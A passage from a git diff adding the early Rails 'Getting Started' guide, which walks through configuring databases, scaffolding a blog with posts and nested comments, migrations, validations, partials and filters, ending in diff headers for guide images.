documentation for your application. ++lib/+ Extended modules for your application (not covered in this guide). ++log/+ Application log files. ++public/+ The only folder seen to the world as-is. This is where your images, javascript, stylesheets (CSS), and other static files go. ++script/+ Scripts provided by Rails to do recurring tasks, such as benchmarking, plugin installation, and starting the console or the web server. ++test/+ Unit tests, fixtures, and other test apparatus. These are covered in link:../testing_rails_applications.html[Testing Rails Applications] ++tmp/+ Temporary files ++vendor/+ A place for third-party code. In a typical Rails application, this includes Ruby Gems, the Rails source code (if you install it into your project) and plugins containing additional prepackaged functionality. +------------------------------------------------------------------------------------------------------------------------------------------- + +=== Configuring a Database + +Just about every Rails application will interact with a database. The database to use is specified in a configuration file, +config/database.yml+. +If you open this file in a new Rails application, you'll see a default database configuration using SQLite. The file contains sections for three different environments in which Rails can run by default: + +* The +development+ environment is used on your development computer as you interact manually with the application +* The +test+ environment is used to run automated tests +* The +production+ environment is used when you deploy your application for the world to use. + +==== Configuring a SQLite Database + +Rails comes with built-in support for link:http://www.sqlite.org/[SQLite], which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using a SQLite database when creating a new project, but you can always change it later. + +Here's the section of the default configuration file with connection information for the development environment: + +[source, ruby] +------------------------------------------------------- +development: + adapter: sqlite3 + database: db/development.sqlite3 + timeout: 5000 +------------------------------------------------------- + +If you don't have any database set up, SQLite is the easiest to get installed. If you're on OS X 10.5 or greater on a Mac, you already have it. Otherwise, you can install it using RubyGems: + +If you're not running OS X 10.5 or greater, you'll need to install the SQLite gem. Similar to installing Rails you just need to run: + +[source, shell] +------------------------------------------------------- +$ gem install sqlite3-ruby +------------------------------------------------------- + +==== Configuring a MySQL Database + +If you choose to use MySQL, your +config/database.yml+ will look a little different. Here's the development section: + +[source, ruby] +------------------------------------------------------- +development: + adapter: mysql + encoding: utf8 + database: blog_development + username: root + password: + socket: /tmp/mysql.sock +------------------------------------------------------- +If your development computer's MySQL installation includes a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the +development+ section as appropriate. + +==== Configuring a PostgreSQL Database + +If you choose to use PostgreSQL, your +config/database.yml+ will be customized to use PostgreSQL databases: + +[source, ruby] +------------------------------------------------------- +development: + adapter: postgresql + encoding: unicode + database: blog_development + username: blog + password: +------------------------------------------------------- + +Change the username and password in the +development+ section as appropriate. + +== Hello, Rails! + +One of the traditional places to start with a new language is by getting some text up on screen quickly. To do that in Rails, you need to create at minimum a controller and a view. Fortunately, you can do that in a single command. Enter this command in your terminal: + +[source, shell] +------------------------------------------------------- +$ script/generate controller home index +------------------------------------------------------- + +TIP: If you're on Windows, or your Ruby is set up in some non-standard fashion, you may need to explicitly pass Rails +script+ commands to Ruby: +ruby script/generate controller home index+. + +Rails will create several files for you, including +app/views/home/index.html.erb+. This is the template that will be used to display the results of the +index+ action (method) in the +home+ controller. Open this file in your text editor and edit it to contain a single line of code: + +[source, html] +------------------------------------------------------- +

Hello, Rails!

+------------------------------------------------------- + +=== Starting up the Web Server + +You actually have a functional Rails application already - after running only two commands! To see it, you need to start a web server on your development machine. You can do this by running another command: + +[source, shell] +------------------------------------------------------- +$ script/server +------------------------------------------------------- + +This will fire up the lightweight Webrick web server by default. To see your application in action, open a browser window and navigate to +http://localhost:3000+. You should see Rails' default information page: + +image:images/rails_welcome.png[Welcome Aboard screenshot] + +TIP: To stop the web server, hit Ctrl+C in the terminal window where it's running. In development mode, Rails does not generally require you to stop the server; changes you make in files will be automatically picked up by the server. + +The "Welcome Aboard" page is the smoke test for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. To view the page you just created, navigate to +http://localhost:3000/home/index+. + +=== Setting the Application Home Page + +You'd probably like to replace the "Welcome Aboard" page with your own application's home page. The first step to doing this is to delete the default page from your application: + +[source, shell] +------------------------------------------------------- +$ rm public/index.html +------------------------------------------------------- + +Now, you have to tell Rails where your actual home page is located. Open the file +config/routes.rb+ in your editor. This is your application's, _routing file_, which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. At the bottom of the file you'll see the _default routes_: + +[source, ruby] +------------------------------------------------------- +map.connect ':controller/:action/:id' +map.connect ':controller/:action/:id.:format' +------------------------------------------------------- + +The default routes handle simple requests such as +/home/index+: Rails translates that into a call to the +index+ action in the +home+ controller. As another example, +/posts/edit/1+ would run the +edit+ action in the +posts+ controller with an +id+ of 1. + +To hook up your home page, you need to add another line to the routing file, above the default routes: + +[source, ruby] +------------------------------------------------------- +map.root :controller => "home" +------------------------------------------------------- + +This line illustrates one tiny bit of the "convention over configuration" approach: if you don't specify an action, Rails assumes the +index+ action. + +Now if you navigate to +http://localhost:3000+ in your browser, you'll see the +home/index+ view. + +NOTE: For more information about routing, refer to link:../routing_outside_in.html[Rails Routing from the Outside In]. + +== Getting Up and Running Quickly With Scaffolding + +Rails _scaffolding_ is a quick way to generate some of the major pieces of an application. If you want to create the models, views, and controllers for a new resource in a single operation, scaffolding is the tool for the job. + +== Creating a Resource + +In the case of the blog application, you can start by generating a scaffolded Post resource: this will represent a single blog posting. To do this, enter this command in your terminal: + +[source, shell] +------------------------------------------------------- +$ script/generate scaffold Post name:string title:string content:text +------------------------------------------------------- + +NOTE: While scaffolding will get you up and running quickly, the "one size fits all" code that it generates is unlikely to be a perfect fit for your application. In most cases, you'll need to customize the generated code. Many experienced Rails developers avoid scaffolding entirely, preferring to write all or most of their source code from scratch. + +The scaffold generator will build 13 files in your application, along with some folders, and edit one more. Here's a quick overview of what it creates: + +[grid="all"] +`---------------------------------------------`-------------------------------------------------------------------------------------------- +File Purpose +------------------------------------------------------------------------------------------------------------------------------------------ +app/models/post.rb The Post model +db/migrate/20081013124235_create_posts.rb Migration to create the posts table in your database (your name will include a different timestamp) +app/views/posts/index.html.erb A view to display an index of all posts +app/views/posts/show.html.erb A view to display a single post +app/views/posts/new.html.erb A view to create a new post +app/views/posts/edit.html.erb A view to edit an existing post +app/views/layouts/posts.html.erb A view to control the overall look and feel of the other posts views +public/stylesheets/scaffold.css Cascading style sheet to make the scaffolded views look better +app/controllers/posts_controller.rb The Posts controller +test/functional/posts_controller_test.rb Functional testing harness for the posts controller +app/helpers/posts_helper.rb Helper functions to be used from the posts views +config/routes.rb Edited to include routing information for posts +test/fixtures/posts.yml Dummy posts for use in testing +test/unit/post_test.rb Unit testing harness for the posts model +------------------------------------------------------------------------------------------------------------------------------------------- + +=== Running a Migration + +One of the products of the +script/generate scaffold+ command is a _database migration_. Migrations are Ruby classes that are designed to make it simple to create and modify database tables. Rails uses rake commands to run migrations, and it's possible to undo a migration after it's been applied to your database. Migration filenames include a timestamp to ensure that they're processed in the order that they were created. + +If you look in the +db/migrate/20081013124235_create_posts.rb+ file (remember, yours will have a slightly different name), here's what you'll find: + +[source, ruby] +------------------------------------------------------- +class CreatePosts < ActiveRecord::Migration + def self.up + create_table :posts do |t| + t.string :name + t.string :title + t.text :content + + t.timestamps + end + end + + def self.down + drop_table :posts + end +end +------------------------------------------------------- + +If you were to translate that into words, it says something like: when this migration is run, create a table named +posts+ with two string columns (+name+ and +title+) and a text column (+content+), and generate timestamp fields to track record creation and updating. You can learn the detailed syntax for migrations in the link:../migrations.html[Rails Database Migrations] guide. + +At this point, you need to do two things: create the database and run the migration. You can use rake commands at the terminal for both of those tasks: + +[source, shell] +------------------------------------------------------- +$ rake db:create +$ rake db:migrate +------------------------------------------------------- + +NOTE: Because you're working in the development environment by default, both of these commands will apply to the database defined in the +development+ section of your +config/database.yml+ file. + +=== Adding a Link + +To hook the posts up to the home page you've already created, you can add a link to the home page. Open +/app/views/home/index.html.erb+ and modify it as follows: + +[source, ruby] +------------------------------------------------------- +

Hello, Rails!

+ +<%= link_to "My Blog", posts_path %> +------------------------------------------------------- + +The +link_to+ method is one of Rails' built-in view helpers. It creates a hyperlink based on text to display and where to go - in this case, to the path for posts. + +=== Working with Posts in the Browser + +Now you're ready to start working with posts. To do that, navigate to +http://localhost:3000+ and then click the "My Blog" link: + +image:images/posts_index.png[Posts Index screenshot] + +This is the result of Rails rendering the +index+ view of your posts. There aren't currently any posts in the database, but if you click the +New Post+ link you can create one. After that, you'll find that you can edit posts, look at their details, or destroy them. All of the logic and HTML to handle this was built by the single +script/generate scaffold+ command. + +TIP: In development mode (which is what you're working in by default), Rails reloads your application with every browser request, so there's no need to stop and restart the web server. + +Congratulations, you're riding the rails! Now it's time to see how it all works. + +=== The Model + +The model file, +app/models/post.rb+ is about as simple as it can get: + +[source, ruby] +------------------------------------------------------- +class Post < ActiveRecord::Base +end +------------------------------------------------------- + +There isn't much to this file - but note that the +Post+ class inherits from +ActiveRecord::Base+. Active Record supplies a great deal of functionality to your Rails models for free, including basic database CRUD (Create, Read, Update, Destroy) operations, data validation, as well as sophisticated search support and the ability to relate multiple models to one another. + +=== Adding Some Validation + +Rails includes methods to help you validate the data that you send to models. Open the +app/models/post.rb+ file and edit it: + +[source, ruby] +------------------------------------------------------- +class Post < ActiveRecord::Base + validates_presence_of :name, :title + validates_length_of :title, :minimum => 5 +end +------------------------------------------------------- + +These changes will ensure that all posts have a name and a title, and that the title is at least five characters long. Rails can validate a variety of conditions in a model, including the presence or uniqueness of columns, their format, and the existence of associated objects. + +=== Using the Console + +To see your validations in action, you can use the console. The console is a command-line tool that lets you execute Ruby code in the context of your application: + +[source, shell] +------------------------------------------------------- +$ script/console +------------------------------------------------------- + +After the console loads, you can use it to work with your application's models: + +[source, shell] +------------------------------------------------------- +>> p = Post.create(:content => "A new post") +=> # +>> p.save +=> false +>> p.errors +=> #, +@errors={"name"=>["can't be blank"], "title"=>["can't be blank", +"is too short (minimum is 5 characters)"]}> +------------------------------------------------------- + +This code shows creating a new +Post+ instance, attempting to save it and getting +false+ for a return value (indicating that the save failed), and inspecting the +errors+ of the post. + +TIP: Unlike the development web server, the console does not automatically load your code afresh for each line. If you make changes, type +reload!+ at the console prompt to load them. + +=== Listing All Posts + +The easiest place to start looking at functionality is with the code that lists all posts. Open the file +app/controllers/posts_controller.rb + and look at the +index+ action: + +[source, ruby] +------------------------------------------------------- +def index + @posts = Post.find(:all) + + respond_to do |format| + format.html # index.html.erb + format.xml { render :xml => @posts } + end +end +------------------------------------------------------- + +This code sets the +@posts+ instance variable to an array of all posts in the database. +Post.find(:all)+ or +Post.all+ calls the +Post+ model to return all of the posts that are currently in the database, with no limiting conditions. + +TIP: For more information on finding records with Active Record, see link:../finders.html[Active Record Finders]. + +The +respond_to+ block handles both HTML and XML calls to this action. If you browse to +http://localhost:3000/posts.xml+, you'll see all of the posts in XML format. The HTML format looks for a view in +app/views/posts/+ with a name that corresponds to the action name. Rails makes all of the instance variables from the action available to the view. Here's +app/view/posts/index.html.erb+: + +[source, ruby] +------------------------------------------------------- +

Listing posts

+ + + + + + + + +<% for post in @posts %> + + + + + + + + +<% end %> +
NameTitleContent
<%=h post.name %><%=h post.title %><%=h post.content %><%= link_to 'Show', post %><%= link_to 'Edit', edit_post_path(post) %><%= link_to 'Destroy', post, :confirm => 'Are you sure?', :method => :delete %>
+ +
+ +<%= link_to 'New post', new_post_path %> +------------------------------------------------------- + +This view iterates over the contents of the +@posts+ array to display content and links. A few things to note in the view: + +* +h+ is a Rails helper method to sanitize displayed data, preventing cross-site scripting attacks +* +link_to+ builds a hyperlink to a particular destination +* +edit_post_path+ is a helper that Rails provides as part of RESTful routing. You’ll see a variety of these helpers for the different actions that the controller includes. + +TIP: For more details on the rendering process, see link:../layouts_and_rendering.html[Layouts and Rendering in Rails]. + +=== Customizing the Layout + +The view is only part of the story of how HTML is displayed in your web browser. Rails also has the concept of +layouts+, which are containers for views. When Rails renders a view to the browser, it does so by putting the view's HTML into a layout's HTML. The +script/generate scaffold+ command automatically created a default layout, +app/views/layouts/posts.html.erb+, for the posts. Open this layout in your editor and modify the +body+ tag: + +[source, ruby] +------------------------------------------------------- + + + + + + Posts: <%= controller.action_name %> + <%= stylesheet_link_tag 'scaffold' %> + + + +

<%= flash[:notice] %>

+ +<%= yield %> + + + +------------------------------------------------------- + +Now when you refresh the +/posts+ page, you'll see a gray background to the page. This same gray background will be used throughout all the views for posts. + +=== Creating New Posts + +Creating a new post involves two actions. The first is the +new+ action, which instantiates an empty +Post+ object: + +[source, ruby] +------------------------------------------------------- +def new + @post = Post.new + + respond_to do |format| + format.html # new.html.erb + format.xml { render :xml => @post } + end +end +------------------------------------------------------- + +The +new.html.erb+ view displays this empty Post to the user: + +[source, ruby] +------------------------------------------------------- +

New post

+ +<% form_for(@post) do |f| %> + <%= f.error_messages %> + +

+ <%= f.label :name %>
+ <%= f.text_field :name %> +

+

+ <%= f.label :title %>
+ <%= f.text_field :title %> +

+

+ <%= f.label :content %>
+ <%= f.text_area :content %> +

+

+ <%= f.submit "Create" %> +

+<% end %> + +<%= link_to 'Back', posts_path %> +------------------------------------------------------- + +The +form_for+ block is used to create an HTML form. Within this block, you have access to methods to build various controls on the form. For example, +f.text_field :name+ tells Rails to create a text input on the form, and to hook it up to the +name+ attribute of the instance being displayed. You can only use these methods with attributes of the model that the form is based on (in this case +name+, +title+, and +content+). Rails uses +form_for+ in preference to having your write raw HTML because the code is more succinct, and because it explicitly ties the form to a particular model instance. + +TIP: If you need to create an HTML form that displays arbitrary fields, not tied to a model, you should use the +form_tag+ method, which provides shortcuts for building forms that are not necessarily tied to a model instance. + +When the user clicks the +Create+ button on this form, the browser will send information back to the +create+ method of the controller (Rails knows to call the +create+ method because the form is sent with an HTTP POST request; that's one of the conventions that I mentioned earlier): + +[source, ruby] +------------------------------------------------------- +def create + @post = Post.new(params[:post]) + + respond_to do |format| + if @post.save + flash[:notice] = 'Post was successfully created.' + format.html { redirect_to(@post) } + format.xml { render :xml => @post, :status => :created, :location => @post } + else + format.html { render :action => "new" } + format.xml { render :xml => @post.errors, :status => :unprocessable_entity } + end + end +end +------------------------------------------------------- + +The +create+ action instantiates a new Post object from the data supplied by the user on the form, which Rails makes available in the +params+ hash. After saving the new post, it uses +flash[:notice]+ to create an informational message for the user, and redirects to the show action for the post. If there's any problem, the +create+ action just shows the +new+ view a second time, with any error messages. + +Rails provides the +flash+ hash (usually just called the Flash) so that messages can be carried over to another action, providing the user with useful information on the status of their request. In the case of +create+, the user never actually sees any page rendered during the Post creation process, because it immediately redirects to the new Post as soon Rails saves the record. The Flash carries over a message to the next action, so that when the user is redirected back to the +show+ action, they are presented with a message saying "Post was successfully created." + +=== Showing an Individual Post + +When you click the +show+ link for a post on the index page, it will bring you to a URL like +http://localhost:3000/posts/1+. Rails interprets this as a call to the +show+ action for the resource, and passes in +1+ as the +:id+ parameter. Here's the +show+ action: + +[source, ruby] +------------------------------------------------------- +def show + @post = Post.find(params[:id]) + + respond_to do |format| + format.html # show.html.erb + format.xml { render :xml => @post } + end +end +------------------------------------------------------- + +The +show+ action uses +Post.find+ to search for a single record in the database by its id value. After finding the record, Rails displays it by using +show.html.erb+: + +[source, ruby] +------------------------------------------------------- +

+ Name: + <%=h @post.name %> +

+ +

+ Title: + <%=h @post.title %> +

+ +

+ Content: + <%=h @post.content %> +

+ + +<%= link_to 'Edit', edit_post_path(@post) %> | +<%= link_to 'Back', posts_path %> +------------------------------------------------------- + +=== Editing Posts + +Like creating a new post, editing a post is a two-part process. The first step is a request to +edit_post_path(@post)+ with a particular post. This calls the +edit+ action in the controller: + +[source, ruby] +------------------------------------------------------- +def edit + @post = Post.find(params[:id]) +end +------------------------------------------------------- + +After finding the requested post, Rails uses the +edit.html.erb+ view to display it: + +[source, ruby] +------------------------------------------------------- +

Editing post

+ +<% form_for(@post) do |f| %> + <%= f.error_messages %> + +

+ <%= f.label :name %>
+ <%= f.text_field :name %> +

+

+ <%= f.label :title %>
+ <%= f.text_field :title %> +

+

+ <%= f.label :content %>
+ <%= f.text_area :content %> +

+

+ <%= f.submit "Update" %> +

+<% end %> + +<%= link_to 'Show', @post %> | +<%= link_to 'Back', posts_path %> +------------------------------------------------------- + +Submitting the form created by this view will invoke the +update+ action within the controller: + +[source, ruby] +------------------------------------------------------- +def update + @post = Post.find(params[:id]) + + respond_to do |format| + if @post.update_attributes(params[:post]) + flash[:notice] = 'Post was successfully updated.' + format.html { redirect_to(@post) } + format.xml { head :ok } + else + format.html { render :action => "edit" } + format.xml { render :xml => @post.errors, :status => :unprocessable_entity } + end + end +end +------------------------------------------------------- + +In the +update+ action, Rails first uses the +:id+ parameter passed back from the edit view to locate the database record that's being edited. The +update_attributes+ call then takes the rest of the parameters from the request and applies them to this record. If all goes well, the user is redirected to the post's +show+ view. If there are any problems, it's back to +edit+ to correct them. + +NOTE: Sharp-eyed readers will have noticed that the +form_for+ declaration is identical for the +new+ and +edit+ views. Rails generates different code for the two forms because it's smart enough to notice that in the one case it's being passed a new record that has never been saved, and in the other case an existing record that has already been saved to the database. In a production Rails application, you would ordinarily eliminate this duplication by moving identical code to a _partial template_, which you could then include in both parent templates. But the scaffold generator tries not to make too many assumptions, and generates code that’s easy to modify if you want different forms for +create+ and +edit+. + +=== Destroying a Post + +Finally, clicking one of the +destroy+ links sends the associated id to the +destroy+ action: + +[source, ruby] +------------------------------------------------------- +def destroy + @post = Post.find(params[:id]) + @post.destroy + + respond_to do |format| + format.html { redirect_to(posts_url) } + format.xml { head :ok } + end +end +------------------------------------------------------- + +The +destroy+ method of an Active Record model instance removes the corresponding record from the database. After that's done, there isn't any record to display, so Rails redirects the user's browser to the index view for the model. + +== DRYing up the Code + +At this point, it’s worth looking at some of the tools that Rails provides to eliminate duplication in your code. In particular, you can use _partials_ to clean up duplication in views and _filters_ to help with duplication in controllers. + +=== Using Partials to Eliminate View Duplication + +As you saw earlier, the scaffold-generated views for the +new+ and +edit+ actions are largely identical. You can pull the shared code out into a +partial+ template. This requires editing the new and edit views, and adding a new template: + ++new.html.erb+: + +[source, ruby] +------------------------------------------------------- +

New post

+ +<%= render :partial => "form" %> + +<%= link_to 'Back', posts_path %> +------------------------------------------------------- + ++edit.html.erb+: + +[source, ruby] +------------------------------------------------------- +

Editing post

+ +<%= render :partial => "form" %> + +<%= link_to 'Show', @post %> | +<%= link_to 'Back', posts_path %> +------------------------------------------------------- + ++_form.html.erb+: + +[source, ruby] +------------------------------------------------------- +<% form_for(@post) do |f| %> + <%= f.error_messages %> + +

+ <%= f.label :name %>
+ <%= f.text_field :name %> +

+

+ <%= f.label :title, "title" %>
+ <%= f.text_field :title %> +

+

+ <%= f.label :content %>
+ <%= f.text_area :content %> +

+

+ <%= f.submit "Save" %> +

+<% end %> +------------------------------------------------------- + +Now, when Rails renders the +new+ or +edit+ view, it will insert the +_form+ partial at the indicated point. Note the naming convention for partials: if you refer to a partial named +form+ inside of a view, the corresponding file is +_form.html.erb+, with a leading underscore. + +For more information on partials, refer to the link:../layouts_and_rendering.html[Layouts and Rending in Rails] guide. + +=== Using Filters to Eliminate Controller Duplication + +At this point, if you look at the controller for posts, you’ll see some duplication: + +[source, ruby] +------------------------------------------------------- +class PostsController < ApplicationController + # ... + def show + @post = Post.find(params[:id]) + # ... + end + + def edit + @post = Post.find(params[:id]) + end + + def update + @post = Post.find(params[:id]) + # ... + end + + def destroy + @post = Post.find(params[:id]) + # ... + end +end +------------------------------------------------------- + +Four instances of the exact same line of code doesn’t seem very DRY. Rails provides _filters_ as a way to address this sort of repeated code. In this case, you can DRY things up by using a +before_filter+: + +[source, ruby] +------------------------------------------------------- +class PostsController < ApplicationController + before_filter :find_post, :only => [:show, :edit, :update, :destroy] + # ... + def show + # ... + end + + def edit + end + + def update + # ... + end + + def destroy + # ... + end + + private + def find_post + @post = Post.find(params[:id]) + end +end +------------------------------------------------------- + +Rails runs _before filters_ before any action in the controller. You can use the +:only+ clause to limit a before filter to only certain actions, or an +:except+ clause to specifically skip a before filter for certain actions. Rails also allows you to define _after filters_ that run after processing an action, as well as _around filters_ that surround the processing of actions. Filters can also be defined in external classes to make it easy to share them between controllers. + +For more information on filters, see the link:actioncontroller_basics.html[Action Controller Basics] guide. + +== Adding a Second Model + +Now that you've seen what's in a model built with scaffolding, it's time to add a second model to the application. The second model will handle comments on blog posts. + +=== Generating a Model + +Models in Rails use a singular name, and their corresponding database tables use a plural name. For the model to hold comments, the convention is to use the name Comment. Even if you don't want to use the entire apparatus set up by scaffolding, most Rails developers still use generators to make things like models and controllers. To create the new model, run this command in your terminal: + +[source, shell] +------------------------------------------------------- +$ script/generate model Comment commenter:string body:text post:references +------------------------------------------------------- + +This command will generate four files: + +* +app/models/comment.rb+ - The model +* +db/migrate/20081013214407_create_comments.rb - The migration +* +test/unit/comment_test.rb+ and +test/fixtures/comments.yml+ - The test harness. + +First, take a look at +comment.rb+: + +[source, ruby] +------------------------------------------------------- +class Comment < ActiveRecord::Base + belongs_to :post +end +------------------------------------------------------- + +This is very similar to the +post.rb+ model that you saw earlier. The difference is the line +belongs_to :post+, which sets up an Active Record _association_. You'll learn a little about associations in the next section of this guide. + +In addition to the model, Rails has also made a migration to create the corresponding database table: + +[source, ruby] +------------------------------------------------------- +class CreateComments < ActiveRecord::Migration + def self.up + create_table :comments do |t| + t.string :commenter + t.text :body + t.references :post + + t.timestamps + end + end + + def self.down + drop_table :comments + end +end +------------------------------------------------------- + +The +t.references+ line sets up a foreign key column for the association between the two models. Go ahead and run the migration: + +[source, shell] +------------------------------------------------------- +$ rake db:migrate +------------------------------------------------------- + +Rails is smart enough to only execute the migrations that have not already been run against this particular database. + +=== Associating Models + +Active Record associations let you easily declare the relationship between two models. In the case of comments and posts, you could write out the relationships this way: + +* Each comment belongs to one post +* One post can have many comments + +In fact, this is very close to the syntax that Rails uses to declare this association. You've already seen the line of code inside the Comment model that makes each comment belong to a Post: + +[source, ruby] +------------------------------------------------------- +class Comment < ActiveRecord::Base + belongs_to :post +end +------------------------------------------------------- + +You'll need to edit the +post.rb+ file to add the other side of the association: + +[source, ruby] +------------------------------------------------------- +class Post < ActiveRecord::Base + validates_presence_of :name, :title + validates_length_of :title, :minimum => 5 + has_many :comments +end +------------------------------------------------------- + +These two declarations enable a good bit of automatic behavior. For example, if you have an instance variable +@post+ containing a post, you can retrieve all the comments belonging to that post as the array +@post.comments+. + +TIP: For more information on Active Record associations, see the link:../association_basics.html[Active Record Associations] guide. + +=== Adding a Route + +_Routes_ are entries in the +config/routes.rb+ file that tell Rails how to match incoming HTTP requests to controller actions. Open up that file and find the existing line referring to +posts+. Then edit it as follows: + +[source, ruby] +------------------------------------------------------- +map.resources :posts do |post| + post.resources :comments +end +------------------------------------------------------- + +This creates +comments+ as a _nested resource_ within +posts+. This is another part of capturing the hierarchical relationship that exists between posts and comments. + +TIP: For more information on routing, see the link:../routing_outside_in[Rails Routing from the Outside In] guide. + +=== Generating a Controller + +With the model in hand, you can turn your attention to creating a matching controller. Again, there's a generator for this: + +[source, shell] +------------------------------------------------------- +$ script/generate controller Comments index show new edit +------------------------------------------------------- + +This creates seven files: + +* +app/controllers/comments_controller.rb+ - The controller +* +app/helpers/comments_helper.rb+ - A view helper file +* +app/views/comments/index.html.erb+ - The view for the index action +* +app/views/comments/show.html.erb+ - The view for the show action +* +app/views/comments/new.html.erb+ - The view for the new action +* +app/views/comments/edit.html.erb+ - The view for the edit action +* +test/functional/comments_controller_test.rb+ - The functional tests for the controller + +The controller will be generated with empty methods for each action that you specified in the call to +script/generate controller+: + +[source, ruby] +------------------------------------------------------- +class CommentsController < ApplicationController + def index + end + + def show + end + + def new + end + + def edit + end + +end +------------------------------------------------------- + +You'll need to flesh this out with code to actually process requests appropriately in each method. Here's a version that (for simplicity's sake) only responds to requests that require HTML: + +[source, ruby] +------------------------------------------------------- +class CommentsController < ApplicationController + def index + @post = Post.find(params[:post_id]) + @comments = @post.comments + end + + def show + @post = Post.find(params[:post_id]) + @comment = Comment.find(params[:id]) + end + + def new + @post = Post.find(params[:post_id]) + @comment = @post.comments.build + end + + def create + @post = Post.find(params[:post_id]) + @comment = @post.comments.build(params[:comment]) + if @comment.save + redirect_to post_comment_path(@post, @comment) + else + render :action => "new" + end + end + + def edit + @post = Post.find(params[:post_id]) + @comment = Comment.find(params[:id]) + end + + def update + @post = Post.find(params[:post_id]) + @comment = Comment.find(params[:id]) + if @comment.update_attributes(params[:comment]) + redirect_to post_comment_path(@post, @comment) + else + render :action => "edit" + end + end + +end +------------------------------------------------------- + +You'll see a bit more complexity here than you did in the controller for posts. That's a side-effect of the nesting that you've set up; each request for a comment has to keep track of the post to which the comment is attached. + +In addition, the code takes advantage of some of the methods available for an association. For example, in the +new+ method, it calls + +[source, ruby] +------------------------------------------------------- +@comment = @post.comments.build +------------------------------------------------------- + +This creates a new +Comment+ object _and_ sets up the +post_id+ field to have the +id+ from the specified +Post+ object in a single operation. + +=== Building Views + +Because you skipped scaffolding, you'll need to build views for comments "by hand." Invoking +script/generate controller+ will give you skeleton views, but they'll be devoid of actual content. Here's a first pass at fleshing out the comment views. + +The +index.html.erb+ view: + +[source, ruby] +------------------------------------------------------- +

Comments for <%= @post.title %>

+ + + + + + + +<% for comment in @comments %> + + + + + + + +<% end %> +
CommenterBody
<%=h comment.commenter %><%=h comment.body %><%= link_to 'Show', post_comment_path(@post, comment) %><%= link_to 'Edit', edit_post_comment_path(@post, comment) %><%= link_to 'Destroy', post_comment_path(@post, comment), :confirm => 'Are you sure?', :method => :delete %>
+ +
+ +<%= link_to 'New comment', new_post_comment_path(@post) %> +<%= link_to 'Back to Post', @post %> +------------------------------------------------------- + +The +new.html.erb+ view: + +[source, ruby] +------------------------------------------------------- +

New comment

+ +<% form_for([@post, @comment]) do |f| %> + <%= f.error_messages %> + +

+ <%= f.label :commenter %>
+ <%= f.text_field :commenter %> +

+

+ <%= f.label :body %>
+ <%= f.text_area :body %> +

+

+ <%= f.submit "Create" %> +

+<% end %> + +<%= link_to 'Back', post_comments_path(@post) %> +------------------------------------------------------- + +The +show.html.erb+ view: + +[source, ruby] +------------------------------------------------------- +

Comment on <%= @post.title %>

+ +

+ Commenter: + <%=h @comment.commenter %> +

+ +

+ Comment: + <%=h @comment.body %> +

+ +<%= link_to 'Edit', edit_post_comment_path(@post, @comment) %> | +<%= link_to 'Back', post_comments_path(@post) %> +------------------------------------------------------- + +The +edit.html.erb+ view: + +[source, ruby] +------------------------------------------------------- +

Editing comment

+ +<% form_for([@post, @comment]) do |f| %> + <%= f.error_messages %> + +

+ <%= f.label :commenter %>
+ <%= f.text_field :commenter %> +

+

+ <%= f.label :body %>
+ <%= f.text_area :body %> +

+

+ <%= f.submit "Update" %> +

+<% end %> + +<%= link_to 'Show', post_comment_path(@post, @comment) %> | +<%= link_to 'Back', post_comments_path(@post) %> +------------------------------------------------------- + +Again, the added complexity here (compared to the views you saw for managing comments) comes from the necessity of juggling a post and its comments at the same time. + +=== Hooking Comments to Posts + +As a final step, I'll modify the +show.html.erb+ view for a post to show the comments on that post, and to allow managing those comments: + +[source, ruby] +------------------------------------------------------- +

+ Name: + <%=h @post.name %> +

+ +

+ Title: + <%=h @post.title %> +

+ +

+ Content: + <%=h @post.content %> +

+ +

Comments

+<% @post.comments.each do |c| %> +

+ Commenter: + <%=h c.commenter %> +

+ +

+ Comment: + <%=h c.body %> +

+<% end %> + +<%= link_to 'Edit', edit_post_path(@post) %> | +<%= link_to 'Back', posts_path %> +<%= link_to 'Manage Comments', post_comments_path(@post) %> +------------------------------------------------------- + +Note that each post has its own individual comments collection, accessible as +@post.comments+. That's a consequence of the declarative associations in the models. Path helpers such as +post_comments_path+ come from the nested route declaration in +config/routes.rb+. + +== What's Next? + +Now that you've seen your first Rails application, you should feel free to update it and experiment on your own. But you don't have to do everything without help. As you need assistance getting up and running with Rails, feel free to consult these support resources: + +* The link:http://manuals.rubyonrails.org/[Ruby On Rails guides] +* The link:http://groups.google.com/group/rubyonrails-talk[Ruby on Rails mailing list] +* The #rubyonrails channel on irc.freenode.net +* The link:http://wiki.rubyonrails.org/rails[Rails wiki] + +Rails also comes with built-in help that you can generate using the rake command-line utility: + +* Running +rake doc:guides+ will put a full copy of the Rails Guides in the +/doc/guides+ folder of your application. Open +/doc/guides/index.html+ in your web browser to explore the Guides. +* Running +rake doc:rails+ will put a full copy of the API documentation for Rails in the +/doc/api+ folder of your application. Open +/doc/api/index.html+ in your web browser to explore the API documentation. + +== Changelog == + +http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/2[Lighthouse ticket] + +* November 3, 2008: Formatting patch from Dave Rothlisberger +* November 1, 2008: First approved version by link:../authors.html#mgunderloy[Mike Gunderloy] +* October 16, 2008: Revised based on feedback from Pratik Naik by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication) +* October 13, 2008: First complete draft by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication) +* October 12, 2008: More detail, rearrangement, editing by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication) +* September 8, 2008: initial version by James Miller (not yet approved for publication) + + + + + + + + + + + + + + + diff --git a/vendor/rails/railties/doc/guides/source/images/belongs_to.png b/vendor/rails/railties/doc/guides/source/images/belongs_to.png new file mode 100644 index 00000000..44243edb Binary files /dev/null and b/vendor/rails/railties/doc/guides/source/images/belongs_to.png differ diff --git a/vendor/rails/railties/doc/guides/source/images/bullet.gif b/vendor/rails/railties/doc/guides/source/images/bullet.gif new file mode 100644 index 00000000..95a26364 Binary files /dev/null and b/vendor/rails/railties/doc/guides/source/images/bullet.gif differ diff --git a/vendor/rails/railties/doc/guides/source/images/csrf.png b/vendor/rails/railties/doc/guides/source/images/csrf.png new file mode 100644 index 00000000..ab73baaf Binary files /dev/null and b/vendor/rails/railties/doc/guides/source/images/csrf.png differ diff --git a/vendor/rails/railties/doc/guides/source/images/habtm.png b/vendor/rails/railties/doc/guides/source/images/habtm.png new file mode 100644 index 00000000..fea78b0b Binary files /dev/null and 